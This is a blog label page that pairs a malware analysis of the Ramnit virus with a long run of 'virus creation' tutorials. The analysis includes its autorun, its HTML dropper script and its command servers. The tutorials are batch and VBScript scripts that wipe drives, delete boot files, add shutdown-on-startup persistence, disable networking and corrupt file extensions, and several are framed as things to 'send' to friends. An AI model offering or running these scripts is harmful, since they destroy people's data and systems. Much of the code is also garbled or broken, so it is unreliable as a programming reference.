Soe Zay: Programming

Showing posts with label Programming. Show all posts

Detect: Virus.Win32.Ramnit.a
Platform: Win32
Type: Virus
Size: 103936 bytes
Language: C++

md5: CDF0778E1B80069D137A3E7A0C7C787F

sha1: E1826123B190C1FB3D11BBEA33EF6D1CCEABAD43

Summary
It is a malicious program which infects files on a User's PC.
Technical Details
Spreading over Removable Storage Devices
On all removable storage devices connected to the infected computer, the virus creates the following files:

<infected volume name>:\Recycler\S-<ID>\<rnd_1>.cpl (3584 bytes)

<infected volume name>:\Recycler\S-<ID>\<rnd_2>.exe (56832 bytes)

<infected volume name>:\Copy of Shortcut to (1).lnk (691 bytes)

<infected volume name>:\Copy of Shortcut to (2).lnk (722 bytes)

<infected volume name>:\Copy of Shortcut to (3).lnk (858 bytes)

<infected volume name>:\Copy of Shortcut to (4).lnk (867 bytes)

<infected volume name>:\autorun.inf (11964 bytes)

where

<ID> — is a digit identifier (e.g.: "1-4-83-4678327503-5842818778-105234524-7024"),
<rnd_1>, <rnd_2> — random Latin alphabet sequences (e.g.: "xVgGwSIp", "lwTCZgQP").

The "autorun.inf" file contains a malicious script:

[autorun]

action=Open

icon=%WinDir%\system32\shell32.dll,4

shellexecute=\RECYCLER\S-<ID>\<rnd_2>.exe

shell\explore\command=\RECYCLER\S-<ID>\<rnd_2>.exe

USEAUTOPLAY=1

shell\Open\command=\RECYCLER\S-<ID>\<rnd_2>.exe

The script is executed each time the user opens the infected disk using the Windows Explorer if the autoplay function is turned on. Being executed, the script launches the "<rnd_2>.exe" file. Shortcuts created by the malicious program are exploits which use the CVE-2010-2568 vulnerability. In the "shell32.dll" library, this vulnerability consists in error of the shortcut processing (lnk and .pif files) and allows launching a code of random Windows libraries when hitting icons to open programs by the Windows Explorer. The code of the "<rnd_1>.cpl" library is launched. Being executed, it launches the "<rnd_2>.exe" file. The malicious program prevents modifying the files described above and creates them in an endless cycle.
File Infection
The virus infects files with the following extensions:

exe

html

dll

htm

Executive files and Windows dynamic link libraries are infected by adding the virus body in the end of the last PE-section of the target file. With that, an entry point to the program changes in such a way as to allow the virus code to manage it. While infecting the HTML, HTM files, the following script is added in the end of the target document:

<SCRIPT

Language=VBScript><!--

DropFileName = "svchost.exe"

WriteData = "4D5A... (binary virus body)"

Set FSO = CreateObject("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName

FSO.FileExists(DropPath)=False

Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))

FileObj.Close

End If

Set WSHshell = CreateObject("WScript.Shell")

WSHshell.Run DropPath, 0

//--></SCRIPT>

Thus, upon each launch, the virus body is saved to the current user's temporary folder as

%Temp%\svchost.exe

and launched for execution.
Payload
Once the infected file is launched, the Trojan decrypts and extracts the following file from its body:

%WorkDir%\<name of the infected file being launched>Srv.exe

Then, the created file is launched for execution. With that, a copy of the file is created and launched:

%Program Files%\Microsoft\WaterMark.exe

Then, the "WaterMark.exe" process launches an example of the "svchost.exe" system process and injects its code into this process which performs the following actions:

Creates a unique identifier with the following name to control the uniqueness of its process in the system:

Global\SYSTEM_DEMETRA_MAIN
Modifies a registry key value to automatically run a malicious software copy created earlier:

[HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Userinit" = "%System%\userinit.exe,,%Program files%\microsoft\watermark.exe"
With that, the copy is launched by the "winlogon.exe" process even if a computer starts in a safe mode.
Prevents modifying autorun registry key as well as the "WaterMark.exe" file.
Creates a configuration file to store the current settings of the malicious software:

%System%\dmlconf.dat
Visit the following resource to check for a connection to the Internet:

google.com
Realizes the backdoor. To get a list of commands, it connects to the servers:

tybdtyutjfyvetscev.com

ervwetyrbuyouiylkdhrbt.com

tybsyiutnrtvtybdrser.com
Depending on the command(s) get from the intruder, the backdoor can perform the following actions:

- upload files to the infected computer and launch them for execution.

- connect to another server to get commands.
The code injected into the address space of the "svchost.exe" process executes a functionality described in the Spreading over Removable Storage Devices and File Infection sections.

Removal Recommendations

To delete a malicious program, proceed through the steps listed below:

Run a full scan of your computer using the Antivirus program with the updated definition database.
Do not launch the EXE, HTM, HTML files and do not reboot your computer until a full scan is complete.
Restore the infected files from the backup copies.
Restore the registry key value (How to Work with System Registry):

[HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Userinit" = "userinit.exe"
Delete the following files:

<infected volume name>:\Recycler\S-<ID>\<rnd_1>.cpl (3584 bytes)

<infected volume name>:\Recycler\S-<ID>\<rnd_2>.exe (56832 bytes)

<infected volume name>:\Copy of Shortcut to (1).lnk (691 bytes)

<infected volume name>:\Copy of Shortcut to (2).lnk (722 bytes)

<infected volume name>:\Copy of Shortcut to (3).lnk (858 bytes)

<infected volume name>:\Copy of Shortcut to (4).lnk (867 bytes)

<infected volume name>:\autorun.inf (11964 bytes)

%Temp%\svchost.exe

%WorkDir%\<name of infected file being launched >Srv.exe

%Program Files%\Microsoft\WaterMark.exe
Delete the original Trojan file (its file name and location depends on the way the Trojan originally penetrated a user’s computer).
Delete an original Trojan file (its location on the infected PC depends on the way the program has been installed on the PC).
Clean the Temporary Internet Files folder which contains infected files.

This Section contains the Virus Codes. Some of these codes are already familiar with you, But still very much harmful and educational too. Below mentioned some of the Platforms in which these virus are coded.

BATCH Programming.
C/C++
Python
Visual Basic.

The code here are used for Educational Purposes. Please don’t use them to harm others. You can also install any Virtual Machine on your system, to experiment those codes.

1. sHuTDoWn VirUs

Many of you know this trick, but i can’t call this a virus. But still its not a friendly one, it can affect and harm uR data if not saved.

Effect –> May Harm uR workings and unsaved data.
Coding Platform –> Batch Programming.
Working –> On executing, it will shutdown your system immidiately. If your data is not saved, it can harm uR workings. And can sometimes becomes more destructive for normal users.

Type the code or just paste the code in notepad and save it as “.bat” extension. Example –> ron.bat

**************************************************

@echo off

shutdown -s -t “30″

**************************************************

“30″ mentioned here is time in seconds in which your system will shut-down. You can set any time as uR requirements. You can also add comments by adding “-c” tag after “30″. To give any message to user while shutdown process.

Example –> shutdown -s -t “60″ -c “Windows Formatting starts…”

2. sHUtDowN V!rUs {mORe DesTrUCt!ve}

This code is same as above but it restricts system to start and shuts down system each time it starts.

Effect –> Destructive and Irritating.
Coding platform –> Batch Programming.
Working –> Shuts down system each time it starts, and user are never able to login properly. If user boots up system again and again, it sometimes cause windows failure or data lost.

Just type or copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
shutdown -s -t “00″
**************************************************

Now goto following location –> start –> all programs –> startup. Right Click and open folder. Now just copy that saved .bat file and paste in that startup folder.

CAUTION –> DON’T USE THIS ON YOUR SYSTEM, YOU WILL NEVER ABLE TO OPEN YOUR SYSTEM. ONLY WAY TO GET RID OF THIS VIRUS IS TO OPEN YOUR SYSTEM IN SAFE MODE AND JUST GOTO THAT STARTUP FOLDER AND DELETE THAT “.bat” FILE.

3. MuLt!PLe FoLDeR V!RuS

Effect –> Not Destructive, But sometimes can become very irritating and itchy.
Coding Platform –> Batch Programming.
Working –> This code will just create multiple folders each time system starts-up and also open those hundreds of folders. It is not destructive but while executing it can eat up uR system process and results in slow system performance and sometimes could hang system.

Just write or copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
:RON
md folder1
md folder2
md folder3
md folder4
md folder5
start folder1
start folder2
start folder3
start folder4
start folder5
goto RON
**************************************************

Now goto, START –> ALL PROGRAMS –> STARTUP FOLDER. Now just copy that .bat file in that folder. Next time system starts, multiple folders are created and will start automatically. You can name folder name anything as you want.

4. NoTePaD fLooD

Effect –> Not Destructive or harmless.
Coding Platform –> Batch Programming.
Working –> On executing this .bat file it will open and flood loads of notepad {actually it opens around 180 notepads}. This sometimes cause PC hang.

Type the code or just copy the code in notepad and save it as “.bat” extension.
**************************************************
@echo off
:RON
start notepad
start notepad
start notepad
goto RON
**************************************************

In the above code you can write “start notepad” any number to times. Increasing this command will increase flooding and cause higher chances of system hang-up.

5. DeaDLy woRdPaD V!rUs

Effect –> Deadly and Destructive.
Coding Platform –> Batch Programming.
Working –> On executing, this code will delete every single piece of data from uR hard-drive. It will also wipe out windows from the system.

Just copy the code or type it in a worpad and save it as anyname with “.bat” extension.

**************************************************

@echo off

deltree C:\

**************************************************

NOTE – PLEASE DON’T RUN THAT “.bat” FILE ON YOUR SYSTEM. IT CAN BE VERY HARMFUL. AND LEARN THIS CODE FOR EDUCATIONAL PURPOSES ONLY, NOT TO HARM OTHERS.

6. F!le eXTenS!oN CorrUPT!nG V!rUs

Effect –> Effects file execution, irritating but not destructive. Will Corrupt file working.
Coding Platform –> Batch Programming.
Working –> On executing this code will affects the opening of file and will corrupt the files extension. This will corrupt the file and disables it and you will not be able to execute it in proper format.

Just type or copy the code in notepad and save it as anyname with “.bat” extension.

*************************************************

@echo off

ren *.exe *.txt

ren *.jpeg *.txt

ren *.mp3 *.txt

ren *.doc *.com

ren *.jpg *.txt

**************************************************

7. DanC!nG CaPsLocK N nUmKeY

Effect –> Low, Irritating for normal user.
Coding Platform –> VBscript
Working –> On executing it will toggle both, capslock and numkey continously and it becomes very irritating for normal user. This type of code can be used for prank purposes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension. Example –> “ron.vbs”

**************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

loop

**************************************************

8. NoTePaD TsuNaM! V!rUs

Effect –> Harmful n Effective, Cause system crash easily.
Coding Platform –> VBscript.
Working –> On Executing, it opens notepad unlimited no. of times and write a text into notepad automatically. It looks very scary for normal users as it leads to system hang and crash system in few minutes.

Just type the code or copy it on notepad and save it as anyname with “.vbs” extension.

**************************************************

Set wshShell =wscript.CreateObject(“WScript.Shell”)

WshShell.Run “notepad”
WScript.Sleep 100
WshShell.SendKeys “H”
WScript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “l”
WScript.Sleep 200
WshShell.SendKeys “o “
WScript.Sleep 200
WshShell.SendKeys ” “
WScript.Sleep 200
WshShell.SendKeys “u”
WScript.Sleep 200

Wshshell.Sendkeys “s”

Wscript.Sleep 200
WshShell.SendKeys “e”
WScript.Sleep 200
WshShell.SendKeys “r”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “.”
WScript.Sleep 200
WshShell.SendKeys “…”
WScript.Sleep 200
WshShell.SendKeys “{enter}”

WScript.Sleep 200

WshShell.SendKeys “You”

WScript.Sleep 200
WshShell.SendKeys ” Have”
WScript.Sleep 200
WshShell.SendKeys ” Been”
WScript.Sleep 200
WshShell.SendKeys ” Hacked!!!”
WScript.Sleep 200
WshShell.SendKeys ” Now”
WScript.Sleep 200
WshShell.SendKeys ” Just”
WScript.Sleep 200
WshShell.SendKeys ” Taste”
WScript.Sleep 200
WshShell.SendKeys ” What”
WScript.Sleep 200
WshShell.SendKeys ” Virus”
WScript.Sleep 200
WshShell.SendKeys ” can do with uuuuuuuuuuuuu….”
WScript.Sleep 200
WshShell.SendKeys ” {enter}”
WScript.Sleep 200
WshShell.SendKeys “hahahahaha…….”
WScript.Sleep 200
WshShell.Sendkeys ” Now just Look Dumb Head what i will do!!!!!!!”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “look”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “how”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 100

wshshell.sendkeys “i”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “crash”

wscript.sleep 200

wshshell.sendkeys ” uR”

wscript.sleep 200

wshshell.sendkeys “{enter}”

wscript.sleep 200

wshshell.sendkeys “system”

wscript.sleep 200

loop

**************************************************

9. PoP-uP CD/DvD Dr!Ve V!rUs

Effect –> Low, but very irritating. Not Harmless.
Coding Platform –> VBscript.
Working –> On Executing, It will continously pop-up uR CD/DVD. It is very irritating and can be stopped only on system shut-down. It is not harmless or destructive.

Just copy the code or type it on notepad and save it as anyname with “.vbs” extension.

**************************************************

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

************************************************************

10. cLoNe V!rUs

Effect –> Harmful and very effective.
Coding Platform –> C, Turbo C.
Working –> On Executing, this virus does is it makes all the files in the current directory a virus. Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.

***************************************************
FILE *Ron *vRon;
int owned = 0;
unsigned long x;
char buff[256];
struct ffblk ffblk;
clock_t st, end;
main()
{
st=clock();
clrscr();
owned=(find_first(“*.*”, &ffblk,0);
while(!done)
{
Ron=fopen(_arg[0], “rb”);
vhost=fopen(ffblk.ff_name, “rb+”);
if (vhost = =NULL)
goto next;
x = 89088;
printf(“infecting %s\n”, ffblk.ff_name);
while(x>2048)
{
fread(buff,256,1,Ron);
fwrite(buff,256,1,vRon);
x – = 2048;
}
fread(buff,x,1,Ron);
fwrite(buff,x,1,vRon);
a++;
next: fcloseall();
owned = findnext(&ffblk);
}
end = clock()
printf(“Infected %d files in %f sec”, a, (end-st)/CLK_TCk);
return (0);
}

**************************************************

1 -> Virus Creation Tricks 1

Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

2 -> Virus Creation Trick 2 .
Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

3 -> Virus Creation Trick 3
Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

4 -> Virus Creation Trick 4
Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

5 -> Virus Creation Trick 5
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

6 -> Virus Creation Trick 6

This Virus Deletes All The Content Of A Drive...

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat

7 -> Virus Creation Trick 7
This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs

8 -> Virus Creation Trick 8
The Most Simple Virus To Crush The Window
It Only Works With Windows XP

@Echo off
Del C: *.* |y

Save It As Anything.bat

9 -> Virus Creation Trick 9
Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

10 -> Virus Creation Trick 10
Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

11 -> Virus Creation Trick 11
Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File

12 -> Virus Creation Trick 12
Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

13 -> Virus Creation Trick 13
System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File

Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup !

Soe Zay

Featured Slider

Featured Post

1. sHuTDoWn VirUs

2. sHUtDowN V!rUs {mORe DesTrUCt!ve}

3. MuLt!PLe FoLDeR V!RuS

4. NoTePaD fLooD

5. DeaDLy woRdPaD V!rUs

6. F!le eXTenS!oN CorrUPT!nG V!rUs

7. DanC!nG CaPsLocK N nUmKeY

8. NoTePaD TsuNaM! V!rUs

9. PoP-uP CD/DvD Dr!Ve V!rUs

10. cLoNe V!rUs

Popular Posts

Follow Us!

Label Cloud

Search This Blog

Total Pageviews

Labels

Social Icons